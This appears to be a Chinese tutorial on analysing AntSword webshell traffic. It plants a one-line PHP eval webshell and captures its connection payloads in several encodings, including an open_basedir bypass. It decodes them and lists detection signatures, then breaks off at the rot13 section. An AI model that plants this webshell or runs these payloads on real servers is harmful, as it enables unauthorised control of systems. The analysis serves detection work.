webshell通信流量分析

环境安装

Apatche2 + php

sudo apt install apache2 -y

sudo apt install php libapache2-mod-php php-mysql -y

echo "<?php phpinfo(); ?>" | sudo tee /var/www/html/info.php

sudo ufw allow 'Apache Full'

如果成功访问info.php,则环境安装成功

蚁剑

安装使用

快速使用:获取蚁剑 · 语雀

注意:打开加载器选择目录时,目录为源代码的目录,即选择 antSword-master 目录,选择其他目录可能导致在线下载源代码出现解压失败的情况

将 cd /var/www/html | echo "<?php eval($_POST['ant']); ?"> ant.php ,上传后浏览器访问

php.ini中

display_errors = Off,时无提示

GET /ant.php HTTP/1.1
Host: 127.17.25.244
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

HTTP/1.1 200 OK
Date: Mon, 30 Sep 2024 07:11:50 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

display_errors = On,会提示

Notice: Undefined index: ant in C:\Users\sangfor\Desktop\phpstudy2018\PHPTutorial\WWW\ant.php on line 1

GET /ant.php HTTP/1.1
Host: 10.227.39.34
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Edg/92.0.902.67
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

HTTP/1.1 200 OK
Date: Mon, 30 Sep 2024 07:16:39 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 139
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<br />
<b>Notice</b>:  Undefined index: ant in <b>C:\Users\sangfor\Desktop\phpstudy2018\PHPTutorial\WWW\ant.php</b> on line <b>1</b><br />

流量分析

分析测试连接的数据包

首先使用default编码测试连接

POST /ant.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-fr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
Content-Type: application/x-www-form-urlencoded
Content-Length: 1792
Connection: close

ant=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.8de21%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22677f%22.%22365bc%22%3Becho%20%40asenc(%24output)%3Becho%20%22d6dcc9%22.%224748ef%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3BHTTP/1.1 200 OK
Date: Mon, 30 Sep 2024 07:19:58 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 173
Connection: close
Content-Type: text/html

677f365bcC:/Users/Desktop/phpstudy2018/PHPTutorial/WWW	C:D:	Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586	sangford6dcc94748ef

请求体进行解码

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
  $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
  $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
  foreach($oparr as $item) {
    if (!@is_writable($item)) {
      continue;
    };
    $tmdir = $item.
      "/.e7c0d2cbd35";
    @mkdir($tmdir);
    if (!@file_exists($tmdir)) {
      continue;
    }
    $tmdir = realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr = @preg_split("/\\\\|\//", $tmdir);
    for ($i = 0; $i < sizeof($cntarr); $i++) {
      @chdir("..");
    };
    @ini_set("open_basedir", "/");
    @rmdir($tmdir);
    break;
  };
};;

function asenc($out) {
  return $out;
};

function asoutput() {
  $output = ob_get_contents();
  ob_end_clean();
  echo "11a5"."3175";
  echo@ asenc($output);
  echo "f091".
    "3b3c";
}
ob_start();
try {
  $D = dirname($_SERVER["SCRIPT_FILENAME"]);
  if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
  $R = "{$D}	";
  if (substr($D, 0, 1) != "/") {
    foreach(range("C", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";
  } else {
    $R. = "/";
  }
  $R. = "	";
  $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
  $s = ($u) ? $u["name"] : @get_current_user();
  $R. = php_uname();
  $R. = "	{$s}";
  echo $R;;
} catch (Exception $e) {
  echo "ERROR://".$e - > getMessage();
};
asoutput();
die();

@ini_set("display_errors", "0"): 函数用于设置 PHP 配置选项。这里将 display_errors 设置为 0,表示不显示错误信息。@ 符号用于抑制可能的错误提示。

@set_time_limit(0):set_time_limit 函数用于设置脚本的最大执行时间。参数为 0 表示不限制执行时间

ini_get 函数用于获取指定的配置选项值。这里获取 open_basedir 的值,open_basedir 用于限制 PHP 脚本可以访问的文件系统路径。如果 open_basedir 设置为 /var/www,则脚本只能访问该目录及其子目录。

dirname 函数返回指定路径的目录部分。这里获取当前脚本的目录。

base64_decode 解码后得到的字符串是 /:/,preg_split 用于根据这个分隔符将 open_basedir 的路径分割成数组。如果 open_basedir 为 /var/www:/tmp,则 $oparr 将为 ['/var/www', '/tmp']

array_push 将当前脚本目录和系统临时目录添加到路径数组中。

is_writable 检查指定路径是否可写。如果可写,则在该路径下创建一个名为 .e7c0d2cbd35 的目录。

realpath 获取目录的绝对路径,chdir 更改当前工作目录到新创建的临时目录。

asoutput(): 这个函数获取输出缓冲区的内容,清空缓冲区,并在输出前后添加一些字符串。

ob_start(); 启动输出缓冲区,后续的输出将被存储在缓冲区中,而不是直接输出。在调用 asoutput 之前,所有的 echo 输出都将被缓冲

$D=dirname($_SERVER["SCRIPT_FILENAME"])

如果脚本在 /var/www/html/script.php,则 $D 为 /var/www/html

特征包含:

@ini_set("display_errors", "0");@set_time_limit(0);

使用base_64编码测试连接

POST /ant.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
Content-Type: application/x-www-form-urlencoded
Content-Length: 1668
Connection: close

ant=%40eval(%40base64_decode(%24_POST%5B'l41e6548d11f05'%5D))%3B&l41e6548d11f05=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7JG9wZGlyPUBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTtpZigkb3BkaXIpIHskb2N3ZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JG9wYXJyPXByZWdfc3BsaXQoYmFzZTY0X2RlY29kZSgiTHp0OE9pOD0iKSwkb3BkaXIpO0BhcnJheV9wdXNoKCRvcGFyciwkb2N3ZCxzeXNfZ2V0X3RlbXBfZGlyKCkpO2ZvcmVhY2goJG9wYXJyIGFzICRpdGVtKSB7aWYoIUBpc193cml0YWJsZSgkaXRlbSkpe2NvbnRpbnVlO307JHRtZGlyPSRpdGVtLiIvLmRjNDI5IjtAbWtkaXIoJHRtZGlyKTtpZighQGZpbGVfZXhpc3RzKCR0bWRpcikpe2NvbnRpbnVlO30kdG1kaXI9cmVhbHBhdGgoJHRtZGlyKTtAY2hkaXIoJHRtZGlyKTtAaW5pX3NldCgib3Blbl9iYXNlZGlyIiwgIi4uIik7JGNudGFycj1AcHJlZ19zcGxpdCgiL1xcXFx8XC8vIiwkdG1kaXIpO2ZvcigkaT0wOyRpPHNpemVvZigkY250YXJyKTskaSsrKXtAY2hkaXIoIi4uIik7fTtAaW5pX3NldCgib3Blbl9iYXNlZGlyIiwiLyIpO0BybWRpcigkdG1kaXIpO2JyZWFrO307fTs7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiZjVjMjI5Ii4iMDVlMzI5IjtlY2hvIEBhc2VuYygkb3V0cHV0KTtlY2hvICI3MCIuIjljMCI7fW9iX3N0YXJ0KCk7dHJ5eyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9CSI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQyIsIloiKWFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9ZWxzZXskUi49Ii8iO30kUi49IgkiOyR1PShmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGVnaWQiKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOiIiOyRzPSgkdSk%2FJHVbIm5hbWUiXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Igl7JHN9IjtlY2hvICRSOzt9Y2F0Y2goRXhjZXB0aW9uICRlKXtlY2hvICJFUlJPUjovLyIuJGUtPmdldE1lc3NhZ2UoKTt9O2Fzb3V0cHV0KCk7ZGllKCk7

HTTP/1.1 200 OK
Date: Tue, 15 Oct 2024 02:37:11 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 169
Connection: close
Content-Type: text/html

f5c22905e329C:/Users/Desktop/phpstudy2018/PHPTutorial/WWW	C:D:	Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586	sangfor709c0

base64解码后与上面一样

特征:@eval(@base64_decode($_POST['ied5afd67ff4a5'])); //ied5afd67ff4a5为随机变量

使用chr

POST /ant.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 10120
Connection: close

ant=%40eVAl(cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116).ChR(40).ChR(34).ChR(100).ChR(105).ChR(115).ChR(112).ChR(108).ChR(97).ChR(121).ChR(95).ChR(101).ChR(114).ChR(114).ChR(111).ChR(114).ChR(115).ChR(34).ChR(44).ChR(32).ChR(34).ChR(48).ChR(34).ChR(41).ChR(59).ChR(64).ChR(115).ChR(101).ChR(116).ChR(95).ChR(116).ChR(105).ChR(109).ChR(101).ChR(95).ChR(108).ChR(105).ChR(109).ChR(105).ChR(116).ChR(40).ChR(48).ChR(41).ChR(59).ChR(36).ChR(111).ChR(112).ChR(100).ChR(105).ChR(114).ChR(61).ChR(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(103).ChR(101).ChR(116).ChR(40).ChR(34).ChR(111).ChR(112).ChR(101).ChR(110).ChR(95).ChR(98).ChR(97).ChR(115).ChR(101).ChR(100).ChR(105).ChR(114).ChR(34).ChR(41).ChR(59).ChR(105).ChR(102).ChR(40).ChR(36).ChR(111).ChR(112).ChR(100).ChR(105).ChR(114).ChR(41).ChR(32).ChR(123).ChR(36).ChR(111).ChR(99).ChR(119).ChR(100).ChR(61).ChR(100).ChR(105).ChR(114).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(36).ChR(95).ChR(83).ChR(69).ChR(82).ChR(86).ChR(69).ChR(82).ChR(91).ChR(34).ChR(83).ChR(67).ChR(82).ChR(73).ChR(80).ChR(84).ChR(95).ChR(70).ChR(73).ChR(76).ChR(69).ChR(78).ChR(65).ChR(77).ChR(69).ChR(34).ChR(93).ChR(41).ChR(59).ChR(36).ChR(111).ChR(112).ChR(97).ChR(114).ChR(114).ChR(61).ChR(112).ChR(114).ChR(101).ChR(103).ChR(95).ChR(115).ChR(112).ChR(108).ChR(105).ChR(116).ChR(40).ChR(98).ChR(97).ChR(115).ChR(101).ChR(54).ChR(52).ChR(95).ChR(100).ChR(101).ChR(99).ChR(111).ChR(100).ChR(101).ChR(40).ChR(34).ChR(76).ChR(122).ChR(116).ChR(56).ChR(79).ChR(105).ChR(56).ChR(61).ChR(34).ChR(41).ChR(44).ChR(36).ChR(111).ChR(112).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(64).ChR(97).ChR(114).ChR(114).ChR(97).ChR(121).ChR(95).ChR(112).ChR(117).ChR(115).ChR(104).ChR(40).ChR(36).ChR(111).ChR(112).ChR(97).ChR(114).ChR(114).ChR(44).ChR(36).ChR(111).ChR(99).ChR(119).ChR(100).ChR(44).ChR(115).ChR(121).ChR(115).ChR(95).ChR(103).ChR(101).ChR(116).ChR(95).ChR(116).ChR(101).ChR(109).ChR(112).ChR(95).ChR(100).ChR(105).ChR(114).ChR(40).ChR(41).ChR(41).ChR(59).ChR(102).ChR(111).ChR(114).ChR(101).ChR(97).ChR(99).ChR(104).ChR(40).ChR(36).ChR(111).ChR(112).ChR(97).ChR(114).ChR(114).ChR(32).ChR(97).ChR(115).ChR(32).ChR(36).ChR(105).ChR(116).ChR(101).ChR(109).ChR(41).ChR(32).ChR(123).ChR(105).ChR(102).ChR(40).ChR(33).ChR(64).ChR(105).ChR(115).ChR(95).ChR(119).ChR(114).ChR(105).ChR(116).ChR(97).ChR(98).ChR(108).ChR(101).ChR(40).ChR(36).ChR(105).ChR(116).ChR(101).ChR(109).ChR(41).ChR(41).ChR(123).ChR(99).ChR(111).ChR(110).ChR(116).ChR(105).ChR(110).ChR(117).ChR(101).ChR(59).ChR(125).ChR(59).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(61).ChR(36).ChR(105).ChR(116).ChR(101).ChR(109).ChR(46).ChR(34).ChR(47).ChR(46).ChR(99).ChR(99).ChR(54).ChR(100).ChR(55).ChR(34).ChR(59).ChR(64).ChR(109).ChR(107).ChR(100).ChR(105).ChR(114).ChR(40).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(105).ChR(102).ChR(40).ChR(33).ChR(64).ChR(102).ChR(105).ChR(108).ChR(101).ChR(95).ChR(101).ChR(120).ChR(105).ChR(115).ChR(116).ChR(115).ChR(40).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(41).ChR(123).ChR(99).ChR(111).ChR(110).ChR(116).ChR(105).ChR(110).ChR(117).ChR(101).ChR(59).ChR(125).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(61).ChR(114).ChR(101).ChR(97).ChR(108).ChR(112).ChR(97).ChR(116).ChR(104).ChR(40).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(64).ChR(99).ChR(104).ChR(100).ChR(105).ChR(114).ChR(40).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116).ChR(40).ChR(34).ChR(111).ChR(112).ChR(101).ChR(110).ChR(95).ChR(98).ChR(97).ChR(115).ChR(101).ChR(100).ChR(105).ChR(114).ChR(34).ChR(44).ChR(32).ChR(34).ChR(46).ChR(46).ChR(34).ChR(41).ChR(59).ChR(36).ChR(99).ChR(110).ChR(116).ChR(97).ChR(114).ChR(114).ChR(61).ChR(64).ChR(112).ChR(114).ChR(101).ChR(103).ChR(95).ChR(115).ChR(112).ChR(108).ChR(105).ChR(116).ChR(40).ChR(34).ChR(47).ChR(92).ChR(92).ChR(92).ChR(92).ChR(124).ChR(92).ChR(47).ChR(47).ChR(34).ChR(44).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(102).ChR(111).ChR(114).ChR(40).ChR(36).ChR(105).ChR(61).ChR(48).ChR(59).ChR(36).ChR(105).ChR(60).ChR(115).ChR(105).ChR(122).ChR(101).ChR(111).ChR(102).ChR(40).ChR(36).ChR(99).ChR(110).ChR(116).ChR(97).ChR(114).ChR(114).ChR(41).ChR(59).ChR(36).ChR(105).ChR(43).ChR(43).ChR(41).ChR(123).ChR(64).ChR(99).ChR(104).ChR(100).ChR(105).ChR(114).ChR(40).ChR(34).ChR(46).ChR(46).ChR(34).ChR(41).ChR(59).ChR(125).ChR(59).ChR(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116).ChR(40).ChR(34).ChR(111).ChR(112).ChR(101).ChR(110).ChR(95).ChR(98).ChR(97).ChR(115).ChR(101).ChR(100).ChR(105).ChR(114).ChR(34).ChR(44).ChR(34).ChR(47).ChR(34).ChR(41).ChR(59).ChR(64).ChR(114).ChR(109).ChR(100).ChR(105).ChR(114).ChR(40).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(98).ChR(114).ChR(101).ChR(97).ChR(107).ChR(59).ChR(125).ChR(59).ChR(125).ChR(59).ChR(59).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(97).ChR(115).ChR(101).ChR(110).ChR(99).ChR(40).ChR(36).ChR(111).ChR(117).ChR(116).ChR(41).ChR(123).ChR(114).ChR(101).ChR(116).ChR(117).ChR(114).ChR(110).ChR(32).ChR(36).ChR(111).ChR(117).ChR(116).ChR(59).ChR(125).ChR(59).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(97).ChR(115).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(40).ChR(41).ChR(123).ChR(36).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(61).ChR(111).ChR(98).ChR(95).ChR(103).ChR(101).ChR(116).ChR(95).ChR(99).ChR(111).ChR(110).ChR(116).ChR(101).ChR(110).ChR(116).ChR(115).ChR(40).ChR(41).ChR(59).ChR(111).ChR(98).ChR(95).ChR(101).ChR(110).ChR(100).ChR(95).ChR(99).ChR(108).ChR(101).ChR(97).ChR(110).ChR(40).ChR(41).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(48).ChR(57).ChR(102).ChR(50).ChR(51).ChR(34).ChR(46).ChR(34).ChR(56).ChR(55).ChR(100).ChR(53).ChR(53).ChR(34).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(64).ChR(97).ChR(115).ChR(101).ChR(110).ChR(99).ChR(40).ChR(36).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(41).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(99).ChR(49).ChR(53).ChR(56).ChR(48).ChR(34).ChR(46).ChR(34).ChR(52).ChR(50).ChR(98).ChR(55).ChR(52).ChR(34).ChR(59).ChR(125).ChR(111).ChR(98).ChR(95).ChR(115).ChR(116).ChR(97).ChR(114).ChR(116).ChR(40).ChR(41).ChR(59).ChR(116).ChR(114).ChR(121).ChR(123).ChR(36).ChR(68).ChR(61).ChR(100).ChR(105).ChR(114).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(36).ChR(95).ChR(83).ChR(69).ChR(82).ChR(86).ChR(69).ChR(82).ChR(91).ChR(34).ChR(83).ChR(67).ChR(82).ChR(73).ChR(80).ChR(84).ChR(95).ChR(70).ChR(73).ChR(76).ChR(69).ChR(78).ChR(65).ChR(77).ChR(69).ChR(34).ChR(93).ChR(41).ChR(59).ChR(105).ChR(102).ChR(40).ChR(36).ChR(68).ChR(61).ChR(61).ChR(34).ChR(34).ChR(41).ChR(36).ChR(68).ChR(61).ChR(100).ChR(105).ChR(114).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(36).ChR(95).ChR(83).ChR(69).ChR(82).ChR(86).ChR(69).ChR(82).ChR(91).ChR(34).ChR(80).ChR(65).ChR(84).ChR(72).ChR(95).ChR(84).ChR(82).ChR(65).ChR(78).ChR(83).ChR(76).ChR(65).ChR(84).ChR(69).ChR(68).ChR(34).ChR(93).ChR(41).ChR(59).ChR(36).ChR(82).ChR(61).ChR(34).ChR(123).ChR(36).ChR(68).ChR(125).ChR(9).ChR(34).ChR(59).ChR(105).ChR(102).ChR(40).ChR(115).ChR(117).ChR(98).ChR(115).ChR(116).ChR(114).ChR(40).ChR(36).ChR(68).ChR(44).ChR(48).ChR(44).ChR(49).ChR(41).ChR(33).ChR(61).ChR(34).ChR(47).ChR(34).ChR(41).ChR(123).ChR(102).ChR(111).ChR(114).ChR(101).ChR(97).ChR(99).ChR(104).ChR(40).ChR(114).ChR(97).ChR(110).ChR(103).ChR(101).ChR(40).ChR(34).ChR(67).ChR(34).ChR(44).ChR(34).ChR(90).ChR(34).ChR(41).ChR(97).ChR(115).ChR(32).ChR(36).ChR(76).ChR(41).ChR(105).ChR(102).ChR(40).ChR(105).ChR(115).ChR(95).ChR(100).ChR(105).ChR(114).ChR(40).ChR(34).ChR(123).ChR(36).ChR(76).ChR(125).ChR(58).ChR(34).ChR(41).ChR(41).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(123).ChR(36).ChR(76).ChR(125).ChR(58).ChR(34).ChR(59).ChR(125).ChR(101).ChR(108).ChR(115).ChR(101).ChR(123).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(47).ChR(34).ChR(59).ChR(125).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(9).ChR(34).ChR(59).ChR(36).ChR(117).ChR(61).ChR(40).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(95).ChR(101).ChR(120).ChR(105).ChR(115).ChR(116).ChR(115).ChR(40).ChR(34).ChR(112).ChR(111).ChR(115).ChR(105).ChR(120).ChR(95).ChR(103).ChR(101).ChR(116).ChR(101).ChR(103).ChR(105).ChR(100).ChR(34).ChR(41).ChR(41).ChR(63).ChR(64).ChR(112).ChR(111).ChR(115).ChR(105).ChR(120).ChR(95).ChR(103).ChR(101).ChR(116).ChR(112).ChR(119).ChR(117).ChR(105).ChR(100).ChR(40).ChR(64).ChR(112).ChR(111).ChR(115).ChR(105).ChR(120).ChR(95).ChR(103).ChR(101).ChR(116).ChR(101).ChR(117).ChR(105).ChR(100).ChR(40).ChR(41).ChR(41).ChR(58).ChR(34).ChR(34).ChR(59).ChR(36).ChR(115).ChR(61).ChR(40).ChR(36).ChR(117).ChR(41).ChR(63).ChR(36).ChR(117).ChR(91).ChR(34).ChR(110).ChR(97).ChR(109).ChR(101).ChR(34).ChR(93).ChR(58).ChR(64).ChR(103).ChR(101).ChR(116).ChR(95).ChR(99).ChR(117).ChR(114).ChR(114).ChR(101).ChR(110).ChR(116).ChR(95).ChR(117).ChR(115).ChR(101).ChR(114).ChR(40).ChR(41).ChR(59).ChR(36).ChR(82).ChR(46).ChR(61).ChR(112).ChR(104).ChR(112).ChR(95).ChR(117).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(41).ChR(59).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(9).ChR(123).ChR(36).ChR(115).ChR(125).ChR(34).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(36).ChR(82).ChR(59).ChR(59).ChR(125).ChR(99).ChR(97).ChR(116).ChR(99).ChR(104).ChR(40).ChR(69).ChR(120).ChR(99).ChR(101).ChR(112).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(36).ChR(101).ChR(41).ChR(123).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(69).ChR(82).ChR(82).ChR(79).ChR(82).ChR(58).ChR(47).ChR(47).ChR(34).ChR(46).ChR(36).ChR(101).ChR(45).ChR(62).ChR(103).ChR(101).ChR(116).ChR(77).ChR(101).ChR(115).ChR(115).ChR(97).ChR(103).ChR(101).ChR(40).ChR(41).ChR(59).ChR(125).ChR(59).ChR(97).ChR(115).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(40).ChR(41).ChR(59).ChR(100).ChR(105).ChR(101).ChR(40).ChR(41).ChR(59))%3BHTTP/1.1 200 OK
Date: Tue, 15 Oct 2024 02:47:09 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 172
Connection: close
Content-Type: text/html

09f2387d55C:/Users/Desktop/phpstudy2018/PHPTutorial/WWW	C:D:	Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586	sangforc158042b74

chr解码后与上面一样

特征:eVAl(cHr(64).ChR(105)

chr16

POST /ant.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 11882
Connection: close

ant=%40eVAl(cHr(0x40).ChR(0x69).ChR(0x6e).ChR(0x69).ChR(0x5f).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x28).ChR(0x22).ChR(0x64).ChR(0x69).ChR(0x73).ChR(0x70).ChR(0x6c).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x65).ChR(0x72).ChR(0x72).ChR(0x6f).ChR(0x72).ChR(0x73).ChR(0x22).ChR(0x2c).ChR(0x20).ChR(0x22).ChR(0x30).ChR(0x22).ChR(0x29).ChR(0x3b).ChR(0x40).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x5f).ChR(0x74).ChR(0x69).ChR(0x6d).ChR(0x65).ChR(0x5f).ChR(0x6c).ChR(0x69).ChR(0x6d).ChR(0x69).ChR(0x74).ChR(0x28).ChR(0x30).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x6f).ChR(0x70).........

HTTP/1.1 200 OK
Date: Tue, 15 Oct 2024 02:53:03 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 167
Connection: close
Content-Type: text/html

c0a4c1C:/Users/Desktop/phpstudy2018/PHPTutorial/WWW	C:D:	Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586	sangfora478436fc

rot13

POST /ant.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
